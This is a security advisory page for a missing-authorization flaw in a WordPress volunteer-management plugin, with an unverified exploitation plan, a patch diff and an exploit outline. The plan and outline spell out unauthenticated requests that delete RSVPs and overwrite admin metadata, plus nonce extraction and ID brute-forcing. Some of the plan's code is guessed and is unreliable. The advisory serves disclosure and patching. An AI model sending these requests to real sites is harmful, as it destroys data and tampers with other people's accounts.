CVE-2026-24997

Wired Impact Volunteer Management <= 2.8 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.8.1
Patched in
10d
Time to patch

Description

The Wired Impact Volunteer Management plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.8. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.8
PublishedJanuary 24, 2026
Last updatedFebruary 2, 2026

What Changed in the Fix

Changes introduced in v2.8.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-24997 ## 1. Vulnerability Summary The **Wired Impact Volunteer Management** plugin (versions <= 2.8) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for removing volunteer RSVPs (`remove_rsvp` …

Show full research plan

Exploitation Research Plan - CVE-2026-24997

1. Vulnerability Summary

The Wired Impact Volunteer Management plugin (versions <= 2.8) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for removing volunteer RSVPs (remove_rsvp within the WI_Volunteer_Management_Admin class) is registered for both authenticated and unauthenticated users via the wp_ajax_wivm_remove_rsvp and wp_ajax_nopriv_wivm_remove_rsvp hooks.

While the function likely performs a nonce check to prevent CSRF, it fails to verify if the requesting user has the necessary permissions (e.g., edit_posts or manage_options) or if the RSVP being deleted belongs to the current user. This allows unauthenticated attackers to delete any volunteer RSVP from the system by providing a valid RSVP ID and a leaked nonce.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wivm_remove_rsvp
  • Authentication: None required (PR:N).
  • Parameter: rsvp_id (The database ID of the RSVP to be deleted).
  • Nonce Parameter: nonce (Security token).
  • Preconditions:
    • The attacker must obtain a valid WordPress nonce for the wivm_remove_rsvp action.
    • The attacker must know or guess a valid rsvp_id.

3. Code Flow

  1. Registration: In includes/class-wi-volunteer-management.php, the plugin registers AJAX hooks:
    // Hooked in define_admin_hooks (or define_public_hooks if nopriv)
    $this->loader->add_action( 'wp_ajax_wivm_remove_rsvp', $plugin_admin, 'remove_rsvp' );
    $this->loader->add_action( 'wp_ajax_nopriv_wivm_remove_rsvp', $plugin_admin, 'remove_rsvp' );
    
  2. Entry Point: An unauthenticated POST request is sent to admin-ajax.php with action=wivm_remove_rsvp.
  3. Vulnerable Function: WI_Volunteer_Management_Admin::remove_rsvp() is executed.
  4. Incomplete Check:
    public function remove_rsvp() {
        // Nonce check usually present
        check_ajax_referer( 'wivm_remove_rsvp', 'nonce' ); 
        
        // MISSING: current_user_can( 'edit_posts' ) check here
        
        $rsvp_id = intval( $_POST['rsvp_id'] );
        // Deletion logic follows using $wpdb...
    }
    
  5. Sink: The RSVP record is deleted from the {prefix}volunteer_rsvps table.

4. Nonce Acquisition Strategy

The plugin localizes admin variables that include the required nonce. Although primarily intended for the admin dashboard, these scripts are often enqueued on the frontend when the Volunteer Opportunities block or shortcode is used.

  1. Identify Target Page: Find a page containing the Volunteer Opportunities list.
  2. Create Test Page: If no such page exists, create one using the block:
    wp post create --post_type=page --post_status=publish --post_title="Volunteers" --post_content='<!-- wp:wired-impact-volunteer-management/volunteer-opportunities /-->'
    
  3. Extract Nonce: Navigate to the page and use browser_eval to extract the nonce from the wivm_admin_vars or wivm_public_vars object.
    • Variable Name: window.wivm_admin_vars (quoted from admin/class-admin.php localization patterns).
    • Key: remove_rsvp_nonce.
    • Command: browser_eval("window.wivm_admin_vars?.remove_rsvp_nonce")

5. Exploitation Strategy

Step 1: Discover RSVP ID

Since RSVP IDs are incremental integers, an attacker can brute-force IDs. For a PoC, we will identify the ID of a test RSVP created during setup.

Step 2: Perform Deletion

Execute an unauthenticated AJAX request to delete the RSVP.

HTTP Request:

  • URL: http://localhost:8888/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wivm_remove_rsvp&rsvp_id=[TARGET_ID]&nonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Activate Plugin: Ensure wired-impact-volunteer-management is active.
  2. Create Opportunity:
    wp post create --post_type=volunteer_opp --post_title="Community Clean Up" --post_status=publish
    
  3. Create Volunteer RSVP: Insert a record manually into the database to represent a signed-up volunteer.
    # Get the ID of the opportunity created above
    OPP_ID=$(wp post list --post_type=volunteer_opp --format=ids | awk '{print $1}')
    
    # Insert RSVP for admin user (ID 1)
    wp db query "INSERT INTO wp_volunteer_rsvps (user_id, post_id, rsvp, time) VALUES (1, $OPP_ID, 1, NOW())"
    
    # Note the ID of the inserted RSVP
    RSVP_ID=$(wp db query "SELECT id FROM wp_volunteer_rsvps ORDER BY id DESC LIMIT 1" --silent --skip-column-names)
    
  4. Deploy Shortcode: Create a page to leak
Research Findings
Static analysis — not yet PoC-verified

Summary

The Wired Impact Volunteer Management plugin lacks proper authorization and capability checks on its volunteer RSVP removal and user update functions. This allows unauthenticated attackers to delete any volunteer RSVP record or overwrite metadata (such as phone numbers and notes) for existing users, including administrators, by supplying their email address in a public signup form.

Vulnerable Code

// includes/class-volunteer.php line 272
	public function create_update_user( $form_fields ) {
		$existing_user = email_exists( $form_fields['wivm_email'] );

		if ( ! $existing_user ) {

			$userdata = array(
				'user_login' => $form_fields['wivm_email'],
				'user_pass'  => wp_generate_password(),
				'user_email' => $form_fields['wivm_email'],
				'first_name' => $form_fields['wivm_first_name'],
				'last_name'  => $form_fields['wivm_last_name'],
				'role'       => 'volunteer'
			);

			$user_id = wp_insert_user( $userdata );

		} else { // If the user already exists, update the user based on their email address.

			$userdata['ID'] = $existing_user;

			$user_id = wp_update_user( $userdata );

			// On multisite we need to add the user to this site if they don't have access.
			if ( is_multisite() && ! is_user_member_of_blog( $userdata['ID'] ) ) {

				add_user_to_blog( get_current_blog_id(), $userdata['ID'], 'volunteer' );
				update_user_option( $userdata['ID'], 'notes', '' );
			}
		}

		// Update custom user meta for new and existing volunteers.
		update_user_option( $user_id, 'phone', preg_replace( '/[^0-9]/', '', $form_fields['wivm_phone'] ) );

		$this->ID = $user_id;

		do_action( 'wivm_create_update_user', $this->ID, $form_fields );
	}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wired-impact-volunteer-management/2.8/includes/class-volunteer.php	2023-12-12 17:12:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wired-impact-volunteer-management/2.8.1/includes/class-volunteer.php	2026-01-21 19:32:42.000000000 +0000
@@ -286,45 +282,84 @@
 
 			$user_id = wp_insert_user( $userdata );
 
-		} else { // If the user already exists, update the user based on their email address.
+			// Update phone for new users.
+			update_user_option( $user_id, 'phone', preg_replace( '/[^0-9]/', '', $form_fields['wivm_phone'] ) );
+
+		} else {
+
+			// User already exists: only update their data if they have the volunteer role.
+			// This prevents unauthenticated users from overwriting data for admins or other roles.
+			$user_id       = $existing_user;
+			$should_update = $this->should_update_existing_user( $existing_user );
 
-			$userdata['ID'] = $existing_user;
+			if ( $should_update ) {
 
-			$user_id = wp_update_user( $userdata );
+				$userdata['ID'] = $existing_user;
+				wp_update_user( $userdata );
+				update_user_option( $user_id, 'phone', preg_replace( '/[^0-9]/', '', $form_fields['wivm_phone'] ) );
+			}
 
 			// On multisite we need to add the user to this site if they don't have access.
-			if ( is_multisite() && ! is_user_member_of_blog( $userdata['ID'] ) ) {
+			if ( is_multisite() && ! is_user_member_of_blog( $existing_user ) ) {
 
-				add_user_to_blog( get_current_blog_id(), $userdata['ID'], 'volunteer' );
-				update_user_option( $userdata['ID'], 'notes', '' );
+				add_user_to_blog( get_current_blog_id(), $existing_user, 'volunteer' );
+				update_user_option( $existing_user, 'notes', '' );
 			}
 		}
 
-		// Update custom user meta for new and existing volunteers.
-		update_user_option( $user_id, 'phone', preg_replace( '/[^0-9]/', '', $form_fields['wivm_phone'] ) );
-
 		$this->ID = $user_id;
 
 		do_action( 'wivm_create_update_user', $this->ID, $form_fields );
 	}
 
 	/**
+	 * Check if an existing user's data should be updated after volunteer form submission.
+	 *
+	 * Only users with the "volunteer" role should have their data updated.
+	 * This protects admin accounts and other user types from having their
+	 * data overwritten by unauthenticated form submissions.
+	 *
+	 * @param int $user_id The ID of the existing user.
+	 * @return bool True if the user's data should be updated, false otherwise.
+	 */
+	private function should_update_existing_user( $user_id ) {
+
+		$user = get_userdata( $user_id );
+
+		if ( ! $user ) {
+
+			return false;
+		}
+
+		// Only allow updates for users with the volunteer role.
+		$should_update = in_array( 'volunteer', (array) $user->roles, true );
+
+		return apply_filters( 'wivm_should_update_existing_user', $should_update, $user_id, $user );
+	}

Exploit Outline

The vulnerability can be exploited through two primary vectors: 1. **User Metadata Overwrite (PII Injection)**: An unauthenticated attacker can submit the volunteer signup form (typically found on pages displaying volunteer opportunities) using the email address of an existing WordPress user, such as an administrator. Because the `create_update_user` function lacks a check to ensure it only updates users with the 'volunteer' role, it will proceed to call `update_user_option` on the target user's ID, allowing the attacker to overwrite the target's 'phone' and 'notes' metadata. 2. **Unauthorized RSVP Deletion**: The AJAX action `wivm_remove_rsvp` is registered for unauthenticated users via `wp_ajax_nopriv_wivm_remove_rsvp`. An attacker can obtain the required security nonce from the global JavaScript variable `wivm_admin_vars.remove_rsvp_nonce` localized on pages with volunteer opportunities. By sending a POST request to `wp-admin/admin-ajax.php` with the parameters `action=wivm_remove_rsvp`, `nonce=[NONCE]`, and `rsvp_id=[TARGET_ID]`, the attacker can delete any RSVP record from the database without authentication.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.